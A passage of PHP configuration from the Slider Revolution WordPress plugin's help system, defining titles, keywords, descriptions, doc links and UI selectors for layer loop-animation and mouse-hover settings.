									'bezier_z_end' => array(
										$t => __("Bezier End Point Z", 'revsliderhelp'),
										$h => "timeline.loop.frame_999.zr",
										$k => array("curved", "curved animation", "bezier", "bezier curve"),
										$d => __("Represents the ending 'z' (3D depth) position for the bezier curve", 'revsliderhelp'),
										$a => $u . "looping-animations/",
										$hl => array(
											$dp => array(
												'layerselected',
												array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
												'*[data-showloop="#loop_move_settings"]',
												array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved')
											), 
											$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
											$st => '#layer_loop_settings .loop_wrapbrtn',
											$f => "*[data-r='timeline.loop.frame_999.zr']"
										)
									)
								)
							),
							'scale' => array(
								'yoyo' => array(
									$t => __("Yoyo Scaling", 'revsliderhelp'),
									$h => "timeline.loop.yoyo_scale",
									$k => array("yoyo", "yoyo animation", "yoyo transition", "loop animation"),
									$d => __("Reverse the scaling as soon as the animation ends and vice versa", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_scale_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.yoyo_scale']"
									)
								),
								'scale_start_x' => array(
									$t => __("Start scaleX", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.scaleX",
									$k => array("animation scale", "animation scalex", "scalex", "scale x", "scale"),
									$d => __("The starting scaleX value (width) for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_scale_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.scaleX']"
									)
								),
								'scale_end_x' => array(
									$t => __("End scaleX", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.scaleX",
									$k => array("animation scale", "animation scalex", "scalex", "scale x", "scale"),
									$d => __("The ending scaleX value (width) for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_scale_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.scaleX']"
									)
								),
								'scale_start_y' => array(
									$t => __("Start scaleY", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.scaleY",
									$k => array("animation scale", "animation scaley", "scaley", "scale y", "scale"),
									$d => __("The starting scaleY value (height) for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_scale_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.scaleY']"
									)
								),
								'scale_end_y' => array(
									$t => __("End scaleY", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.scaleY",
									$k => array("animation scale", "animation scaley", "scaley", "scale y", "scale"),
									$d => __("The ending scaleY value (height) for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_scale_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.scaleY']"
									)
								),
								'skew_start_x' => array(
									$t => __("Start skewX", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.skewX",
									$k => array("animation skew", "animation skewx", "skewx", "skew x", "skew"),
									$d => __("The starting skewX value (horizontal plane) for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_scale_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.skewX']"
									)
								),
								'skew_end_x' => array(
									$t => __("End skewX", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.skewX",
									$k => array("animation skew", "animation skewx", "skewx", "skew x", "skew"),
									$d => __("The ending skewX value (horizontal plane) for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_scale_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.skewX']"
									)
								),
								'skew_start_y' => array(
									$t => __("Start skewY", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.skewY",
									$k => array("animation skew", "animation skewy", "skewy", "skew y", "skew"),
									$d => __("The starting skewY value (vertical plane) for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_scale_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.skewY']"
									)
								),
								'skew_end_y' => array(
									$t => __("End skewY", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.skewY",
									$k => array("animation skew", "animation skewy", "skewy", "skew y", "skew"),
									$d => __("The ending skewY value (vertical plane) for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_scale_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.skewY']"
									)
								)
							),
							'rotate' => array(
								'yoyo' => array(
									$t => __("Yoyo Rotation", 'revsliderhelp'),
									$h => "timeline.loop.yoyo_rotate",
									$k => array("yoyo", "yoyo animation", "yoyo transition", "loop animation"),
									$d => __("Reverse the rotation as soon as the animation ends and vice versa", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_rotate_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.yoyo_rotate']"
									)
								),
								'start_rotation_x' => array(
									$t => __("Start rotateX", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.rotationX",
									$k => array("animation rotation", "animation rotatex", "rotatex", "rotationx", "rotation x", "3d", "3d rotation"),
									$d => __("The starting rotateX value (horizontal plane) for the loop animation.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_rotate_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.rotationX']"
									)
								),
								'end_rotation_x' => array(
									$t => __("End rotateX", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.rotationX",
									$k => array("animation rotation", "animation rotatex", "rotatex", "rotationx", "rotation x", "3d", "3d rotation"),
									$d => __("The ending rotateX value (horizontal plane) for the loop animation.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_rotate_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.rotationX']"
									)
								),
								'start_rotation_y' => array(
									$t => __("Start rotateY", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.rotationY",
									$k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "3d", "3d rotation"),
									$d => __("The starting rotateY value (horizontal plane) for the loop animation.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_rotate_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.rotationY']"
									)
								),
								'end_rotation_y' => array(
									$t => __("End rotateY", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.rotationY",
									$k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "3d", "3d rotation"),
									$d => __("The ending rotateY value (horizontal plane) for the loop animation.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_rotate_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.rotationY']"
									)
								),
								'start_rotation_2d' => array(
									$t => __("Start rotate2D", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.rotationZ",
									$k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "2d", "2d rotation"),
									$d => __("The starting rotation value (2D) for the loop animation.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_rotate_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.rotationZ']"
									)
								),
								'end_rotation_2d' => array(
									$t => __("End rotate2D", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.rotationZ",
									$k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "2d", "2d rotation"),
									$d => __("The ending rotation value (2D) for the loop animation.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_rotate_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.rotationZ']"
									)
								)
							),
							'filter' => array(
								'yoyo' => array(
									$t => __("Yoyo Filters", 'revsliderhelp'),
									$h => "timeline.loop.yoyo_filter",
									$k => array("yoyo", "yoyo animation", "yoyo transition", "loop animation"),
									$d => __("Reverse the animated filters as soon as the animation ends and vice versa", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_filter_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.yoyo_filter']"
									)
								),
								'opacity_start' => array(
									$t => __("Opacity Start", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.opacity",
									$k => array("animate filter", "filter animation", "filter", "filters", "opacity filter", "opacity"),
									$d => __("The starting transparency for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_filter_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.opacity']"
									)
								),
								'opacity_end' => array(
									$t => __("Opacity End", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.opacity",
									$k => array("animate filter", "filter animation", "filter", "filters", "opacity filter", "opacity"),
									$d => __("The ending transparency for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_filter_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.opacity']"
									)
								),
								'blur_start' => array(
									$t => __("Blur Start", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.blur",
									$k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"),
									$d => __("The starting <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur' target='_blank'>blur filter</a> value for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_filter_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.blur']"
									)
								),
								'blur_end' => array(
									$t => __("Blur End", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.blur",
									$k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"),
									$d => __("The ending <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur' target='_blank'>blur filter</a> value for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_filter_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.blur']"
									)
								),
								'grayscale_start' => array(
									$t => __("Grayscale Start", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.grayscale",
									$k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"),
									$d => __("The starting <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/grayscale' target='_blank'>grayscale filter</a> value for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_filter_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.grayscale']"
									)
								),
								'grayscale_end' => array(
									$t => __("Grayscale End", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.grayscale",
									$k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"),
									$d => __("The ending <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/grayscale' target='_blank'>grayscale filter</a> value for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_filter_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.grayscale']"
									)
								),
								'brightness_start' => array(
									$t => __("Brightness Start", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.brightness",
									$k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"),
									$d => __("The starting <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/grayscale' target='_blank'>brightness filter</a> value for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_filter_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_0.brightness']"
									)
								),
								'brightness_end' => array(
									$t => __("Brightness End", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.brightness",
									$k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"),
									$d => __("The ending <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/grayscale' target='_blank'>brightness filter</a> value for the loop animation", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_filter_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.brightness']"
									)
								)
							)
						)
					),
					'gst_layer_9' => array(
						'enable' => array(
							$di => "enable_hover", 
							$t => __("Mouse Hover", 'revsliderhelp'),
							$h => "hover.usehover",
							$k => array("mouse hover", "mouseover", "mouse over", "mouse hover", "hover", "hover animation", "hover style", "hover styles"),
							$d => __("Activate mouse hover styles/transitions", 'revsliderhelp'),
							$a => $u . "mouse-hover-settings/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_9", 
								$st => '#form_layer_hover', 
								$f => "#layer_usehover"
							)
						),
						'reset' => array(
							$t => __("Reset Styles", 'revsliderhelp'),
							$h => "resethover",
							$k => array("mouse hover", "mouseover", "mouse over", "mouse hover", "hover", "hover animation", "hover style", "hover styles", "reset", "reset styles"),
							$d => __("Reset all hover styles to the Layer's default idle/static styles", 'revsliderhelp'),
							$a => $u . "mouse-hover-settings/#general-settings",
							$hl => array(
								$dp => array(
									'layerselected',
									array($p => '#slide#.layers.#layer#.hover.usehover', $v => true, $o => 'enable_hover')
								), 
								$m => "#module_layers_trigger, #gst_layer_9", 
								$st => '#form_layer_hover', 
								$f => "#copyhoversettings"
							)
						),
						'cursor' => array(
							$t => __("Cursor Type", 'revsliderhelp'),
							$h => "idle.cursor",
							$k => array("mouse hover", "mouseover", "mouse over", "mouse hover", "hover", "hover animation", "hover style", "hover styles"),
							$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/cursor' target='_blank'>CSS cursor</a> property for the Layer.  Choose 'pointer' for a traditional hand cursor when hovering the Layer", 'revsliderhelp'),
							$a => $u . "mouse-hover-settings/#general-settings",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_9", 
								$st => '#form_layer_hover', 
								$f => "#layer_css_cursor"
							)
						),
						'pointer_events' => array(
							$t => __("Pointer Events", 'revsliderhelp'),
							$h => "hover.pointerEvents",
							$k => array("pointer-events", "pointer-event", "pointer event", "pointer-event"),
							$d => __("Choose 'none' to disable user-interaction.  Useful for enabling clicks on content placed beneath the Layer.", 'revsliderhelp'),
							$a => $u . "mouse-hover-settings/#general-settings",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_9", 
								$st => '#form_layer_hover', 
								$f => "*[data-r='hover.pointerEvents']"
							)
						),
						'mask' => array(
							$t => __("Masking", 'revsliderhelp'),
							$h => "hover.usehovermask",
							$k => array("hover", "masking", "mask", "mask hover", "hover mask", "hover masking"),
							$d => __("Mask the current Layer before applying hover styles/effects.  Useful for movements and scale/zooms.", 'revsliderhelp'),
							$a => $u . "mouse-hover-settings/#general-settings",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_9", 
								$st => '#form_layer_hover', 
								$f => "#layer_usehovermask"
							)
						),
						'background_hover' => array(
							$t => __("Hover Background Color", 'revsliderhelp'),
							$h => "hover.backgroundColor",
							$k => array("hover bg color", "hover background color", "bg hover", "background hover"),
							$d => __("Adjust the Layer's background color on mouse hover", 'revsliderhelp'),
							$a => $u . "mouse-hover-settings/#font-background",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_9", 
								$st => '#form_layer_hover .form_inner:nth-child(5)', 
								$f => "#layerBGColorHover"
							)
						),
						'hover_transform' => array(
							'speed' => array(
								$t => __("Transition Speed", 'revsliderhelp'),
								$h => "hover.speed",
								$k => array("transition speed", "hover transition speed", "hover duration"),
								$d => __("The transition duration for the currently selected Layer (in milliseconds)", 'revsliderhelp'),
								$a => $u . "mouse-hover-settings/#hover-transforms",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_9", 
									$st => '#form_layer_hover .form_inner:nth-child(2)', 
									$f => "*[data-r='hover.speed']"
								)
							),
							'easing' => array(
								$t => __("Transition Easing", 'revsliderhelp'),
								$h => "hover.ease",
								$k => array("easing", "transition easing", "hover easing", "animation easing"),
								$d => __("The easing equation to use for the hover transition", 'revsliderhelp'),
								$a => $u . "mouse-hover-settings/#hover-transforms",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_9", 
									$st => '#form_layer_hover .form_inner:nth-child(2)', 
									$f => "#layer_hover_appear_ease"
								)
							),
							'zindex' => array(
								$t => __("zIndex", 'revsliderhelp'),
								$h => "hover.zIndex",
								$k => array("zindex", "hover zindex", "hover z-index"),
								$d => __("The CSS z-index to apply to the Layer on mouse hover", 'revsliderhelp'),
								$a => $u . "mouse-hover-settings/#hover-transforms",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_9", 
									$st => '#form_layer_hover .form_inner:nth-child(2)', 
									$f => "#layer_hover_zindex"
								)
							),
							'opacity' => array(
								$t => __("Opacity", 'revsliderhelp'),
								$h => "hover.opacity",
								$k => array("opacity", "animation opacity", "transparency", "animate opacity"),
								$d => __("Change the Layer's transparency on mouse hover", 'revsliderhelp'),
								$a => $u . "mouse-hover-settings/#hover-transforms",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_9", 
									$st => '#form_layer_hover .form_inner:nth-child(2)', 
									$f => "*[data-r='hover.opacity']"
								)
							),
							'scale_skew_rotate' => array(
								'scalex' => array(
									$t => __("scaleX", 'revsliderhelp'),
									$h => "hover.scaleX",
									$k => array("animation scale", "animation scalex", "scalex", "scale x", "scale"),
									$d => __("Scale the Layer's width by this amount on mouse hover", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "*[data-r='hover.scaleX']"
									)
								),
								'scaley' => array(
									$t => __("scaleY", 'revsliderhelp'),
									$h => "hover.scaleY",
									$k => array("animation scale", "animation scaley", "scaley", "scale y", "scale"),
									$d => __("Scale the Layer's height by this amount on mouse hover", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "*[data-r='hover.scaleY']"
									)
								),
								'skewx' => array(
									$t => __("skewX", 'revsliderhelp'),
									$h => "hover.skewX",
									$k => array("animation skew", "animation skewx", "skew x", "skewx", "skew"),
									$d => __("Skew/distort the Layer horizontally by this amount on mouse hover.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "*[data-r='hover.skewX']"
									)
								),
								'skewy' => array(
									$t => __("skewY", 'revsliderhelp'),
									$h => "hover.skewY",
									$k => array("animation skew", "animation skewy", "skew y", "skewy", "skew"),
									$d => __("Skew/distort the Layer vertically by this amount on mouse hover.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "*[data-r='hover.skewY']"
									)
								),
								'rotationx' => array(
									$t => __("rotateX", 'revsliderhelp'),
									$h => "hover.rotationX",
									$k => array("animation rotation", "animation rotatex", "rotatex", "rotationx", "rotation x", "3d", "3d rotation"),
									$d => __("Rotate the Layer on its 'x' axis by this amount on mouse hover.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "*[data-r='hover.rotationX']"
									)
								),
								'rotationy' => array(
									$t => __("rotateY", 'revsliderhelp'),
									$h => "hover.rotationY",
									$k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "3d", "3d rotation"),
									$d => __("Rotate the Layer on its 'y' axis by this amount on mouse hover.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "*[data-r='hover.rotationY']"
									)
								),
								'rotation' => array(
									$t => __("2D Rotation", 'revsliderhelp'),
									$h => "hover.rotationZ",
									$k => array("animation rotation", "animation rotate", "rotate", "rotation", "2d", "2d rotation"),
									$d => __("The Layer's <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/rotate' target='_blank'>2D Rotation</a> on mouse hover.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "*[data-r='hover.rotationZ']"
									)
								)
							),
							'transform_origin' => array(
								'originx' => array(
									$t => __("Transform Origin X", 'revsliderhelp'),
									$h => "hover.originX",
									$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
									$d => __("The 'x' axis for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> on mouse hover.", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "*[data-r='hover.originX']"
									)
								),
								'originy' => array(
									$t => __("Transform Origin Y", 'revsliderhelp'),
									$h => "hover.originY",
									$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
									$d => __("The 'y' axis for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> on mouse hover.", 'revsliderhelp'),
									$a => $u . "mouse-hover-settings/#hover-transforms",
									$hl => array(
										$dp => array('layerselected'), 
										$m => "#module_layers_trigger, #gst_layer_9", 
										$st => '#form_layer_hover .form_inner:nth-child(2)', 
										$f => "*[data-r='hover.originY']"
									)
								),
								'originz' => array(
									$t => __("Transform Origin Z", 'revsliderhelp'),
